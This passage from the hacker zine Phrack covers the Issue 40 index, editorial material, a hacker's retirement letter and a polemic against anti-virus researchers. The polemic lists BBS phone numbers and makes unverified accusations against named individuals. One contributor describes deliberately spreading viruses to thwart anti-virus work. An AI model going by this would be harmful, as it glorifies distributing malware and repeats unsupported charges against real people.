When Ultra‑Max causes the rocket to launch, Wonder Man goes with it to disable the satellite before Ultra‑Max is able to take over the entire U.S. Satellite Defense system. Wonder Man is able to sabotage the rocket and abandon ship shortly before the it blows up. The segment ends with Wonder Man believing that Ultra‑Max has been destroyed and unaware that it has escaped in an escape missile containing the rocket's program center. Ultra‑Max's last words in the segment are "Yet I continue. Eventually I will find a system with which to interface. Eventually I will grow again."

Marvel editor Fabian Nicieza told Newsbytes that the Guardians of the Galaxy segment, scheduled for release on May 23rd, takes placer 1,000 years in the future and deals with Ultra‑Max's contact with the computers of the future. Nicieza explained to Newsbytes the development of "The System Bytes" storyline, saying "The original concept came from me. Every year we run a single annual for each of our main characters and, in recent years, we have established a theme story across a few titles. This is a relatively easy thing to do with the various SpiderMan titles or between the Avengers and the West Coast Avengers, but it's more difficult to do with these titles which are more or less orphans ‑‑ that is, they stand by themselves, particularly the Guardians of the Galaxy which is set 1,000 years in the future."

Nicieza continued "We set this up as an escalating story, proceeding from a vigilante hero to a costumed hero with a cyborg involvement to a superhero to a science fiction story. In each case, the threat also escalates to become a real challenge to the Marvel hero or heroes that oppose it. It's really a very simple story line and we were able to give parameters to the writer and editor of each of the titles involved. You'll note that each of the titles has a different writer and editor yet I think you'll agree that the story line flows well between the stories. I'm quite frankly, very pleased with the outcome."

________________________________________

Innovative Computer Disk Story Has A Short Shelf Life April 20, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Christopher John Farley (USA Today)(Page 2D)

Science‑fiction writer William Gibson's inquiry into the future has been stalled by a computer problem.

"I work on an (Apple computer) and just got a very common virus called Garfield," says Gibson, award‑winning author of such books as Neuromancer and Mona Lisa Overdrive. "I just bought an anti‑virus program that's hunting it down. It's the first one I've ever gotten."

The first week in May, Gibson will give as good as he gets. Gibson and artist Dennis Ashbaugh, known for his conceptual paintings of computer viruses, are releasing a coffee‑table art book/computer disk/whatchamacallit, with a builtin virus that destroys the program after one reading.

This will take some explaining.

Agrippa (A Book of the Dead) comes in a case that resembles a lap‑top computer. Inside are etchings by Ashbaugh, printed with an ink that gradually fades under light and another that gradually appears under light. There's also a tattered, old‑looking book, with a hidden recess that holds a computer disk.

The disk contains a story by Gibson about his father, who died when Gibson was 6. There are a few sound effects that accompany the text, including a gunshot and rainfall. The disk comes in Apple or IBM compatible versions.

Gibson, known for his "cyberpunk" writing style that features tough characters, futuristic slang and a cynical outlook, shows a different side with the Agrippa story. "It's about living at the end of the 20th century and looking back on someone who was alive in its first couple of decades. It's a very personal, autobiographical piece of writing."

The title Agrippa probably refers to the name of the publisher of an old family album Gibson found. It might also refer to the name of a famous ancient Roman family. The 44‑year‑old Gibson says it's open to interpretation.

Agrippa will be released in three limited‑edition forms of varying quality, priced at $7,500, $1,500 and $450. The highest‑priced version has such extras as a cast‑bronze case and original watercolor and charcoal art by Ashbaugh. The medium‑priced version is housed in aluminum or steel; the lowest‑priced version comes in cloth.

The project cost between $ 50,000‑$ 100,000 to mount, says publisher Kevin Begos Jr. Only 445 copies will be produced, and they'll be available at select bookstores and museums.

But $ 7,500 for a story that self‑destructs?

Gibson counters that there's an egalitarian side to the project: There will be a one‑time modem transmission of the story to museums and other venues in September. The text will be broadcast on computer monitors or televisions at receiving sites. Times and places are still being arranged; one participant will be the Department of Art at Florida State University in Tallahassee.

Gibson and his cohorts aren't providing review copies ‑‑ the fact that the story exists only on a disk, in "cyberspace," is part of the Big Idea behind the venture, he says.

Those dying to know more will have to:

A. Pirate a copy;

B. Attend a showing in September; or,

C. Grit their teeth and buy Agrippa.

________________________________________

PWN Quicknotes

~~~~~~~~~~~~~~

1. Data Selling Probe Gets First Victim (Newsday, April 15, 1992, Page 16) ‑‑ A Chicago police detective has pleaded guilty to selling criminal histories and employment and earnings information swiped from federally protected computer files.

William Lawrence Pedersen, age 45, admitted in U.S. District Court to selling information from the FBI's National Crime Information Center computer database and from the Social Security Administration to a Tampa information brokerage.

Pedersen's sentencing is set for July 7. Though he faces up to 70 years in prison, his sentence could be much lighter under federal guidelines.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Related articles:

Phrack World News, Issue 37, Part One:

Indictments of "Information Brokers" January 1992

Taken from The Privacy Journal

SSA, FBI Database Violations Prompt Security Evaluations January 13, 1992 By Kevin M. Baerson (Federal Computer Week)(Pages 1, 41)

Phrack World News, Issue 38, Part Two:

Private Social Security Data Sold to Information Brokers February 29, 1992 By R.A. Zaldivar (San Jose Mercury News)

Phrack World News, Issue 39, Part Four:

Privacy Invaders May 1992

By William Barnhill (AARP Bulletin)

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

2. NO WAY! Wayne's World, the hit comedy thats changed the way people speak arrives in video stores on August 12th and retailing for $24.95. The Paramount movie (about Wayne and Garth, the satellite moving computer hackers) already has earned a cool $110 million in theaters and is the year's top grossing film. Schwing! (USA Today, May 12, 1992, Page D1)

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

3. New Jersey Bell Did Not Charge For AT&T Calls (Trentonian, May 23, 1992) ‑If the phone company gets its way, 28,000 customers in New Jersey will be billed for two months of long distance calls they dialed for free because of a computer glitch.

A computer that recorded the time, number and cost of AT&T calls from February 17 to April 27 failed to put the data on the customers' bills, officials said. They were charged just for calls placed through New Jersey Bell, Karen Johnson, a Bell spokeswoman, said yesterday.

But the free calls are over, Johnson said. Records of the calls are stored in computer memory banks, and the customers soon will be billed.

New Jersey Bell must prove the mistake was not caused by negligence before the company can collect, according to a spokesman for the Board of Regulatory Commissioners, which oversees utilities. If Bell does not make a good case, the board could deny permission to bill for the calls, said George Dawson.

The computer snafu affected about two million calls placed by customers in 15 exchanges in the 201 and 609 area codes, Johnson said.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

4. Witch Objectors? (USA Today, May 28, 1992, Page 3A) ‑‑ Two self‑proclaimed witches asked Mount Diablo, California school officials to ban the children's story 'Hansel & Gretal' because it "teaches that it is all right to burn witches and steal their property," said Karlyn Straganana, high priestess of the Oak Haven Coven. "Witches don't eat children and we don't have long noses with warts and we don't wear conical hats," she said.

________________________________________

5. Girl, Age 13, Kidnaped By Her Computer! (Weekly World News, April 14, 1992) ‑‑ A desperate plea for help on a computer screen and a girl vanishing into thin air has everyone baffled ‑‑and a high‑tech computer game is the prime suspect.

Game creator and computer expert Christian Lambert believes a glitch in his game Mindbender might have caused a computer to swallow 13‑year‑old Patrice Toussaint into her computer.

"Mindbender is only supposed to have eight levels," Lambert said. "But this one version somehow has an extra level. A level that is not supposed to be there! The only thing I can figure out now is that she's playing the ninth level ‑‑‑ inside the machine!"

Lambert speculates that if she is in the computer, the only way out for her is if she wins the game. But it's difficult to know for sure how long it will take, Lambert said.

"As long as her parents don't turn off the machine Patrice will be safe," he said. "The rest is up to her."

________________________________________

40

- Introduction by Dispater

- Phrack Loopback by Mind Mage & Dispater

- Phrack Pro-Phile on Lex Luthor by Taran King & Lex Luthor

- Network Miscellany by The Racketeer

- Pirates Cove by Rambone

- Cellular Telephony, Part II by Brian Oblivion

- The Fine Art of Telephony by Crimson Flash

- BT Tymnet, Part 1 of 3 by Toucan Jones

- BT Tymnet, Part 2 of 3 by Toucan Jones

- BT Tymnet, Part 3 of 3 by Toucan Jones

- SummerCon 1992 by Knight Lightning & Dispater

- PWN/Part 1 by Datastream Cowboy

- PWN/Part 2 by Datastream Cowboy

- PWN/Part 3 by Datastream Cowboy

Introduction

==Phrack Inc.==

Volume Four, Issue Forty, File 1 of 14

Issue 40 Index

__________

P H R A C K 4 0

August 1, 1992

__________

~ Baby's Got Back! ~

Welcome to the special 40th Anniversary issue of Phrack Magazine! A month later, we are just barely recovering from the fun at the amazingly successful SummerCon '92. It was the largest turnout ever seen at a SummerCon and the full details can be found in a special report by Knight Lightning and myself with help from Holistic Hacker and Dr. Williams.

Brian Oblivion, whose name is regularly seen in the pages of Phrack returns with part two of his file on Cellular Telephony (part one seen in Phrack 38). Also relating to telephones in this issue is "The Fine Art of Telephony" by Crimson Flash. This equally in depth and detailed file focuses of RC/MAC, FACS, and MARCH.

Even though the arrogant bastards at Southwestern Bell and BT Tymnet boast about their great security, it appears that they had almost nothing to do with the tracking down and apprehension of the MOD in New York. As a few of us already know, MOD was brought in by hackers. Gee, imagine that.

I'm not going to play politics and make judgments about this, instead I'll let you read all about it in Phrack World News, Part 2 and then you can draw your own conclusions.

Since we're on the subject of Tymnet, I felt it appropriate <grin> to include 3 articles on the subject by Toucan Jones. A special "kissy, kissy" to Dale Drew (aka The Dictator aka Blind Faith aka Bartman) for his help and assistance in getting us this valuable information. Could a file on TRW be 'round the corner? Hmmmmmm could be. :‑)

Starting with this issue, Mind Mage will be assisting with Phrack Loopback as our Technical Advisor. He will handle questions regarding technical problems both for publication or for private response. Feel free to send your questions to phracksub@stormking.com and they will be forwarded and answered.

This issue's Loopback has a very special message from Jester Sluggo as he gives notice of his official retirement from the hacking community. Sluggo remembers the past and give advice about the future; I continue my pursuit on the so‑called professionals in the anti‑virus community and exposes their real agenda; and, Sarlo takes us on a tour of the 1992 Consumer Electronics Show in Chicago and there is lots more.

The Racketeer (Rack of The Hellfire Club) takes the reigns of the continuing Network Miscellany column and Rambone returns with the latest on what is happening in the underground world of computer software traders in Pirates Cove.

Taran King is back for a special Phrack Pro‑Phile with Lex Luthor, the founder of the Legion of Doom and perhaps the most legendary underground hacker ever.

"If it's older than a week, then we won't have it online."

You are invited to check out a great new BBS called Planet 10. If you have half a brain, you might even get access. Planet 10 is run by Control C and features messages and xfers that are timed to expire after 1 week maximum. Give it a call at (313)683‑9722.

"Phrack is a bad influence..."

‑‑ TriZap, July 1992 :‑)

DISPATER, Phrack Editor <phracksub@stormking.com> or <phrack@well.sf.ca.us>

Editor‑In‑Chief : Dispater

Eleet Founders : Taran King and Knight Lightning

Technical Consultant : Mind Mage

Network Miscellany : The Racketeer [HFC]

Pirates Cove : Rambone

News : Datastream Cowboy

Photography : Restricted Data Transmissions Publicity : AT&T, BellSouth, and the United States Secret Service Creative Stimulus : Camel Cool, Jolt Cola, and Taco Bell Shampoo : Mudge

Other Helpers : Apollo, Brian Oblivion, Control C, Dr. Williams, Dokkalfar, The Gatsby, Gentry, Guido Sanchez, Holistic Hacker, Jester Sluggo, Legacy Irreverent, Lex Luthor, Mr. Bigg, Nihil, The Omega, The Pope,.The Public, Sarlo, TriZap, Tuc, Voyager, and White Knight

We're Back and We're Phrack!

"Phrack. If you don't get it, you don't get it."

"Whaddya mean I don't support the system? I go to court when I have to!"

‑= Phrack 40 =

Table Of Contents

~~~~~~~~~~~~~~~~~

1. Introduction by Dispater 06K

2. Phrack Loopback by Dispater and Mind Mage 50K

3. Phrack Pro‑Phile on Lex Luthor by Taran King 36K

4. Network Miscellany by The Racketeer [HFC] 32K

5. Pirates Cove by Rambone 57K

6 Cellular Telephony, Part II by Brian Oblivion 72K 7. The Fine Art of Telephony by Crimson Flash 65K

8. BT Tymnet, Part 1 of 3 by Toucan Jones 57K

9. BT Tymnet, Part 2 of 3 by Toucan Jones 55K

10. BT Tymnet, Part 3 of 3 by Toucan Jones 91K

11. SummerCon 1992 by Knight Lightning and Dispater 35K

12. PWN/Part 1 by Datastream Cowboy 50K

13. PWN/Part 2 by Datastream Cowboy 48K

14. PWN/Part 3 by Datastream Cowboy 48K

Total: 702K

Phrack Loopback

==Phrack Inc.==

Volume Four, Issue Forty, File 2 of 14

[‑=:< Phrack Loopback >:=‑]

By Dispater & Mind Mage

Phrack Loopback is a forum for you, the reader, to ask questions, air problems, and talk about what ever topic you would like to discuss. This is also the place Phrack Staff will make suggestions to you by reviewing various items of note; magazines, software, catalogs, hardware, etc.

In this issue:

Retirement of a Hacker : Jester Sluggo Truth Is Out Of Style : Dispater

Tim Foley Virus : Guido Sanchez

The Hacker Files (from DC Comics) : Newsbytes Sneakers (from Universal Pictures) : Press Release Pirates v. AT&T: Posters : Legacy Irreverent and Captain Picard Telco Trashing Yields Big Rewards : Anonymous Anonymous Mail On IBM VM Systems? : Apollo

WWIV Link Hack : Mr. Bigg

The Day Bell System Died : Anonymous

The 1992 Consumer Electronics Show : Sarlo

________________________________________

x x x

| |

+‑‑‑‑‑‑

| Retirement |

| of a |

| Hacker |

+‑‑‑+‑‑‑‑‑‑

| by Jester Sluggo |

+‑+‑‑‑‑‑‑‑‑‑‑

| Released: July 9, 1992 |

+‑‑‑‑‑‑‑‑‑‑‑‑

I would like to begin by saying "Hello" to all readers of this file, but unfortunately it will be my last time. I've been a member of the "hacker underground" for over a decade and am one of the few extremely lucky hackers who has successfully hacked a great number of computer systems, phone systems, and other technologies, yet has never been caught. I wish to take this last opportunity to reflect on my experiences, and express many personal views, because although there are feelings of sadness, it is my pleasure to announce my formal retirement from this "underground" community.

My decision to retire has been a carefully planned path which began several years ago. During the early 1980's, the innocence of hacking and exploring computer systems for my quest of knowledge was a great thrill. Every system was like an unexplored door which lead to unlimited opportunities; various computer systems, operating systems, languages, networks, software, and data.

But it was in the later part of the 1980's when I began to realize that I had to focus my interests, knowledge and experience towards a legitimate career. It's nearly impossible to earn a living solely within the resources of the hacker underground, and the idea of abusing technology for monetary gain is against the (unwritten) code of hacker ethics. Also at this time, the innocence of exploring various systems was being replaced by the realities of ruining my entire future at such a young age if I was caught and convicted by the United States' legal system.

The media and law‑enforcement agencies have almost always been biased against hackers, and these are two powerful entities that influence society. Hackers have always been presented in a negative context, whereas their discoveries, efforts, creativeness, and hard work have been ignored except among fellow hackers. In a way, it's similar to how the U.S. government and corporations support research and development: A group of researchers discover, explore, refine, or exploit a certain technology over a period of many years, yet their efforts go unnoticed unless their research results in a product acceptable to society. The researcher's results are shared, respected, and challenged among the scientific community and journals long before they ever result in a product (if they ever result in a product). In the same way that researchers and scientists relentlessly pursue their interests, I pursued answers to my curiosities and interests.

It is the groups that want to control the society (the legal system, and police) which have labeled "hackers" as notorious people. Hackers can use technology to access a variety of information which was previously accessible only to these groups, and these controllers are afraid of losing their advantages and control. Currently in US, the FBI is afraid of losing their ability to easily tap fiber optics so they're proposing to make it mandatory for central offices to make it easier for them. If people knew how common illegal wiretaps occur, they'd be upset at the abuse of power. Police are making illegal search and seizures, and district attorneys are filing outrageous affidavits to protect their control of power and access to information.

It was in the middle to late 1980's when the legal system and law enforcement agencies increased efforts to severely penalize hackers, when the risk of getting caught began to outweigh the excitement of discovering. It is unbelievably difficult to carry the burden of a "serious" criminal record throughout one's life when you're 20 years old (or for that matter 16 years old), as well as the eternal monetary debt which comes with these consequences. In the 1970's, the founders of Apple computer were caught selling Blue Boxes while they were in college and got off with a minimal fine. With todays laws, the potential jail time, monetary damages, and lawyer fees, the system would have wasted and banned the brilliance of Steve Wozniak and Steve Jobs. Apple Computer (and microcomputers) might not have been born (IBM would have loved that).

Technology has changed faster than the legal system and society can adapt, so for now, unapproved exploring of these technologies has been declared a serious offense. Society trusts the legal systems' judgement, but even in 1992 lawmakers are just barely beginning to understand technology: "Is software patentable (do not confuse with copyrightable), and to what degree?", "What privacy and freedom of speech should we have with electronic mail and communications?" Don't let unqualified law makers make decisions about technology‑related issues that will affect you, without them knowing what you have to say.

So it was in the late 1980's when I began preparing for my retirement. I outlined a set of goals and a plan to achieve them. Unfortunately this plan required several years to fulfill, but I knew it was the right time of my life to begin this ambitious plan. The goals I wanted to achieve were:

1) Pass the knowledge I've gained onto others.

2) Keep the "hacker" movement active.

3) Prepare myself to be legitimately successful so that I can help to influence society's views about technology as a member of the society.

Due to the increasing danger of getting caught, and to become successful, I was forced to hide from the mainstream hacker community and make my actions and efforts unknown. The first two goals were closely related and took slightly longer to complete than my original plan. However, they were a much greater financial sacrifice than I ever imagined. The third goal will probably require the rest of my lifetime, but it's a challenge I accept.

To complete goals 1 and 2, I've spent the last 5 years preparing a "tomb" of information and knowledge used within the hacker community. Not all of the information is complete, but neither is the seed that grows to become a tree. Anyone with a telephone can guess ("hack" according to the media and law enforcement) 4‑digit passwords to telephone calling cards or PBX out‑dial lines, but I wanted "real" hackers. I talked and met with 100's of hackers world‑wide to find the right individuals who can responsibly learn and append to this "tomb" ‑‑ people who have the desire, respect, effort and ability to encourage new generations of hackers. This group has been selected and trained, and I feel they are some of the best prospects. Their international mixing should give them an almost unlimited number of opportunities, and some protection. I wish them the best of all luck in their endless journey of learning and knowledge.

To become legitimately successful meant getting a respectable job. Obviously, with my interests, I knew it would have to be in the high technology industries. Unfortunately, getting a job interview or a job offer with these companies is difficult because the Human Resources departments always shun the hiring of hackers. This is ironic, because many of the engineers and programmers within these companies are made of ex‑hackers, or people who share a similar intense interest in technology. Also, since some of best experiences of a hacker are discovered non‑legitimately they can't be presented on a resume.

My first step towards completing this goal was instinctive; to keep my excitement and enjoyment focused intensely on technology. This may sound strange, but many hackers know friends who "burn out" on hacking or working in the high‑tech companies, and I didn't want to 'burn out' at 20 years of age, so I had to slow down my hacking activity.

The next step was getting a college education, which I've completed. College is not the answer to everything... in fact it's not the answer to anything, however, college is an experience I wish everyone could experience ‑‑ it's a unique experience. A college degree will not guarantee a job, but it might get you past the Human Resources department. If you have the chance to attend college, don't miss this chance. I realize employers prefer experienced workers over inexperienced "fresh" college graduates, but if you have a focused interest on a certain technology, then you will find a way to keep updating yourself while suffering through college. And like me, you will find the college degree combined with the results of your focused efforts will open the best job opportunities to you. Be focused and patient... it worked for me!

I am currently working on the inside of a technology‑related company, enjoying the work I do for a living. In fact, sometimes I think to myself, "Wow, I get paid for doing this!?" It's a thrill to be doing what I do, yet I must work hard, and continue working hard to achieve the highest position I am able to reach to make the most of my abilities. In doing this, I hope someday to give something back to the non‑hacking society which may show them that hackers are constructive to society, thus, changing their negative view which has labeled hackers synonymous to "criminals." I would like to see mature, legitimatelysuccessful hackers, form an interest group to help cultivate the energy of the younger hackers.

Although I am retiring from the community, I can never retire the curiosity and intense interest I have about technology. Instead, I now focus these aspects legitimately into my daily work and will continue to do so. I've immensely enjoyed my involvement in the hacking community and will always treasure it. I also hope to eventually persuade people to accept hackers and to not persecute them. This last goal is the most ambitious goal, but I feel it's the most important goal, because those groups that control society are wasting a group of young and talented individuals who could be inventors of future technologies. Now, I will formally say "goodbye" to my friends in the hacking community... but not for the last time.

Persevere,

Jester Sluggo

________________________________________

"Truth Is Out Of Style"

An Investigative Report Into Computer Security Corruption

by Dispater

It seems that these days the anti‑virus industry/community has brainwashed the public into thinking that any use of a modem will put you in contact with an unfathomable array of dangers. It sounds like something your mom said, when she didn't want you to stay out after dark doesn't it?

As it turns out the anti‑virus community has all the moral fiber of television evangelists. As they preach on about the horrors of accessing information (without purchasing one of their products), they are engaging in the activity that they claim should be made a federal offense, in Congress. That is the "distribution of computer viruses. Not only have they been involved in this type of activity since they industry began, but now there is a self proclaimed "elite" [smirk] group of so‑called professionals within the industry that wish to keep a monopoly on the virus trade, by ruining the reputation and lives of independent researchers. So in a way, we now have a "virus cartel" within the computer security industry.

The Little Black Book of Computer Viruses

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The Little Black Book of Computer Viruses is a printed text that has been around for a few years, but is finally making waves with people who think Prodigy and CompuServe are the best networks ever invented. Anyway, this book contains printed out versions of viruses. Gee, viruses are SO difficult for people to get their hands on aren't they? Well, one of the information dinosaurs got his name in print for condemning such immorality.

"Professional virus fighters such as Alan Solomon at S&S International are madder than angry hornets over the publication. They are encouraging anti‑black book campaigns that include PICKETING THE AUTHOR'S HOUSE, boycotting shops that sell the book, petitioning Congress, and even bringing in lawyers."

‑‑ ComputerWorld, June 29, 1992, page 4 (emphasis added)

Well isn't it interesting to note that while Mr. Solomon is encouraging personal and economic harassment of Mr. Ludwig, his close friend and business associate, Sarah Gordon is doing the dirty work for him.

The Con

~~~~~~~

The National Computer Security Association's 1st Annual Conference on Viruses took place in Washington, D.C. this past June. Alan Solomon and Sarah Gordon were there in full force. Gordon has often been referred to as being Solomon's sidekick and nowhere did she live up to this distinctive title more than at this conference.

At the conference, Gordon purchased not one, but two copies of Ludwig's book and then immediately ran to the conference organizer to make a dramatic scene over how immoral it was for Mr. Ludwig to be selling such a thing. As it turns out this is not the first time Sarah Gordon has engaged in such hypocritical behavior.

Another interesting thing to note at the conference is the fact that one evening, Knight Lightning and a couple of others noticed some people sitting around a room and walked in out of curiosity to what was going on. As it turned out what was going on was a "midnight meeting" of sorts. KL and friends were asked to leave because "it was not appropriate that <they> be here." Why wasn't it appropriate? It's because what these people were doing was discussing the ways they were going to "take down bulletin boards" and damage people's career's who distribute viruses.

Sometime after this conference, I learned about their plan to use "the media to ruin these sysops. For example, to use influence with the media to call attention to this type of activity." These people even went so far as to compile a list of BBSes that they wish to "take down."

The Hit List

~~~~~~~~~~~~

Phrack received anonymous mail containing the BBS "hit list" that the selfproclaimed "elite" group of modem vigilantes put together to target first. Upon our receipt of this list, Phrack staff members contacted the sysops of these boards and as a result, many of the numbers have since been changed.

+1‑206‑481‑2728 The Festering Pit of Vile Excretions [This phone number belongs to a construction company called Custom Building Co.] +1‑213‑274‑1333 West Coast Technologies (Tymnet 311021300023) +1‑213‑274‑2222 DII

+1‑213‑PRI‑VATE\

)BBS‑A‑Holic

+1‑ITS‑PRI‑VATE/

+1‑301‑PRI‑VATE\

)Digital Underground +1‑301‑913‑5915/

+1‑301‑948‑7761 Cornerstone III

[

+1‑305‑669‑1347 The Penthouse

+1‑516‑466‑4620\

)Hamburger Heaven: this was down for +1‑517‑PRI‑VATE/ software problems, was titled Sentinel's Gate +1‑602‑491‑0703 The Final Frontier +1‑708‑541‑1069 Pirate's Guild

+1‑717‑367‑3501 Night Eyes

+1‑818‑831‑3189 Pirate's Cove

+1‑901‑756‑4756 Silicon Central

+1‑916‑729‑2112 The Welfare Department [This is an insurance companies phone number] +1‑213‑274‑1333 West Coast Technologies (Tymnet 311021300023) +1‑213‑274‑aaaa DII

+1‑313‑LIM‑ITED Canterbury Woods

+1‑409‑372‑5511 The Crowbar Hotel +1‑514‑PRI‑VATE\

)The Sacred Reich

+1‑514‑975‑9362/

+1‑516‑328‑0847 The Grave of the Lost +1‑516‑541‑6324 Realm of Heroes

+1‑708‑459‑7267 Hell Pit

+1‑713‑464‑9013 South of Heaven

+1‑818‑831‑3189 Pirate's Cove

+1‑819‑PRI‑VATE Brain Damage

It is unclear as to whom is directly responsible for the organization of this group or who is responsible for creating and distributing the list, however there were representatives from CERT, ISPNews, and several other well known individuals who are self‑proclaimed security experts as well as a slew of nobodies who wish to make a name for themselves.

The Hell Pit BBS

~~~~~~~~~~~~~~~~

The Hell Pit is a BBS system in Chicago and operated by a sysop named Kato. Kato has a legitimate curiosity (as if a curiosity needs to be validated) about the inner‑workings of viruses. I shall let him relate his experience:

"I have been running The Hell Pit BBS for the past 3 years. It's gone through many phases in that time, but the most recent has been my affection for computer viruses. I became interested in viruses about one and a half years ago and I set up a virus file base on my system. At first I had a mere 5 or 6 viruses that I had collected from a system in the area. My collection has grown to about 700 IBM computer viruses."

"It seems to be their objective to shut down my bulletin board system and therefore eliminate my virus database. Considering these anti‑virus personnel claim to be interested in aspects of computer security, I find their tactics highly questionable. There was recently a NCSA anti‑virus conference. I learned from sources that one of the people attending the conference [Sarah Gordon] had committed certain acts on my BBS. This person claimed to have called up, uploaded 3 fake viruses, gained access to my virus database and then downloaded several viruses. This is their proof that I do not adequately control virus access on my system. The anti‑virus personnel do not allow me to defend myself."

"Anti‑virus personnel themselves have committed the same mistakes as I did, probably much more often. There is no set of rules that determines what makes someone an anti‑virus authority. Certain people that seem to fit the mold are allowed to exchange viruses with anti‑virus personnel. What are the criteria for these people? Is there any? It has been my experience that if you get involved with the right circles, you are considered an antivirus authority. However, there are many places in the anti‑virus community for viruses to leak out. For one thing, you can never be certain who you are dealing with. Just because someone is smart and claims to hold an antivirus attitude is no guarantee that that person isn't an "in the closet" virus writer.

"At anti‑virus conferences such as the NCSA anti‑virus conference, guests were exchanging viruses like they were baseball cards. That isn't what I would consider controlling access."

"They do help a lot of people with computer troubles. However, to criticize me for not properly controlling access to my collection of viruses is being hypocritical."

"If anyone would like to call my system to check things out, feel free. I have a lot more to offer than just computer viruses. I have a good number of text files and some pretty active message bases. The Hell Pit BBS (708)459‑7267" ‑ Kato

Conclusions

~~~~~~~~~~~

It seems there is a move afoot in the anti‑virus community to rid the world of bulletin board systems that disseminate viruses openly and freely. The antivirus professionals believe that they must "defend the world" from this type of activity. Even though during a recent conference in Washington, D.C., it was disclosed that an anti‑virus researcher recently uploaded three (3) viruses onto a virus BBS (Hell Pit). Why was this done? To "expose the fact that the sysop was not as careful as he claims to be." The person that did this was then able to download viruses which was against the policy the sysop claimed was in place (of course this statement is based upon the integrity of the antivirus community and their integrity is obviously suspect).

So, the anti‑virus community set‑up this sysop and made an example of him in a national conference without allowing him the opportunity to defend himself. In fact, the sysop may still be totally unaware that this event has even occurred, until now that is.

These anti‑virus researchers were openly exchanging copies of viruses for "research purposes only." It seems okay for them to disseminate viruses in the name of research because of their self‑proclaimed importance in the anti‑virus community, but others that threaten their elite (NOT!) status are subject to be framed and have examples made of them.

Do As I Say, Not As I Do

~~~~~~~~~~~~~~~~~~~~~~~~

This type of activity raises a very interesting question. Who gives private sector computer security employees or consultants carte blanche to conduct this type of activity? Especially when they have the gall to turn around and label hackers as criminals for doing the exact same thing. The answer is not who, but what; money and ego. Perhaps the most frightening aspect of this whole situation is that the true battle being fought here is not over viruses and bulletin board systems, but instead the free dissemination of information. For a group of individuals so immersed in this world, there is a profound ignorance of the concepts of First Amendment rights.

Phrack Magazine is ready to stand tall and vigorously keep a close watch and defend against any incursion of these rights. We've been around a long time, we know where the bodies are buried, our legion of followers and readers have their eyes and ears open all across the country. Those of you in the security industry be warned because every time you slip up, we will be there to expose you.

Dispater

________________________________________

Tim Foley Virus

~~~~~~~~~~~~~~~

By Guido Sanchez

Right after I moved from 512 to 708, I had the misfortune to realize that Steve Jackson Games, a company whose games I readily buy and play, had a BBS up in my home town called the Illuminati BBS. This was my misfortune as I could have called it locally in Texas, but now instead had to spend my phone bill on it from Illinois.

A good year after the Secret Service assault of Steve Jackson Games, after most of the "evidence" was returned with nifty little green stickers on it, a text file was put up on the BBS called FOLEY.TXT, a simple copy of the lawsuit that Steve Jackson Games had filed against the government, also known as JACKSUIT.TXT, distributed by the EFF I believe.

[Editor's Note: We have been unable to confirm that EFF ever released a file called JACKSUIT.TXT, however details of the EFF's participation in the Steve Jackson Games lawsuit can be found in EFFector Online 1.04.]

It was called FOLEY.TXT obviously because of Timothy Foley, a big‑shot government guy [actually an agent for the U.S. Secret Service] who is one of the defendants in the case. I downloaded the file, and zipped it into a file called, surprisingly enough, FOLEY.ZIP.

Within the next week, I was gleefully spreading information as usual, and uploaded the FOLEY.ZIP file along with a batch of viral files to a local BBS with a beginning virus base. The theory here is to spread viruses about, accessible to all so that wonderful little Anti‑Viral programmers cannot succeed.

Unfortunately, the FOLEY.ZIP file was put into the viral file base, and before I could warn the sysop to move it into the appropriate file base, about 8 lame warezwolves had downloaded it and by the end of the week it was widely spread around the 708 NPA.

The moral of this story? None really, it's just an amusing vignette of what can happen when people become involved in the intense bartering of information that takes place via modem, and can get ridiculed if they're not sure of their commodity. That's all this huge business is, everyone is a courier. Whether they're pirated files, adult files, sound files, viruses, or text files; 90% of the time they're just downloaded from one 1.2 gig board and uploaded to the next one for more credits to download more files, etc.

It's a great big cycle, just like life. So, to risk sounding cliche, my rally to all is this: "Slow down! Sit back and pick the roses, eat them, digest them, and eventually <hopefully> excrete them!" Mr. Warhol, my fifteen minutes are up. The soapbox is now free.

________________________________________

The Hacker Files June 22, 1992

~~~~~~~~~~~~~~~~

By Barbara E. McMullen & John F. McMullen (Newsbytes)

NEW YORK ‑‑ DC Comics has announced the introduction of a new twelve‑issue series, "The Hacker Files." DC spokesperson Martha Thomases said that the first issue will ship on June 23rd.

The series, created by science fiction author Lewis Shiner, deals with the adventures of "super‑hacker" Jack Marshall who, prior to the events chronicled in the series, unjustly lost his job at Digitronix and now operates as a freelance consultant.

The first story line, covering the first four issues of the series, deals with Marshall's attempt to uncover those responsible for jamming ARPANET (Network of Advanced Research Projects Agency) and causing NORAD's Space Surveillance Center inside Cheyenne Mountain, Wyoming to malfunction, bringing the United States to the brink of nuclear war.

In the course of his investigation, Marshall, AKA "Hacker," is assisted by a number of members of the hacker community ‑‑ "Master Blaster," "Sue Denim," and "Spider" (Master Blaster, whose real name is Mikey is a student at New York City's Bronx High School of Science).

Fiction comes close to reality when it appears that the person responsible for the virus that caused the damage is Roger P. Sylvester, a student at Columbia University and the son of a high ranking official at the National Security Agency (NSA); on November 2, 1988 Robert T. Morris, Jr., a Cornell student and son of NSA's chief computer scientist, caused the crippling of the Internet through his release of the "Internet Worm."

Shiner told Newsbytes, "The similarity of the characters was, of course done intentionally ‑‑ you might even note the somewhat subtle connection of the names: 'Sylvester The Cat' and 'Morris The Cat.' I did it partially to show those somewhat knowledgeable about computers that the plot was not made out of whole cloth but was the result of a good deal of research."

Shiner continued, "When reading comics, I look for information density and I tried to make the Hacker Files rich in that regard. I'm hoping to attract some computer‑literate young people to comics ‑‑ comics were one of the earliest forms of expression to make great use of computers and I hope, with the Hacker Files, to involve more computer types in the medium."

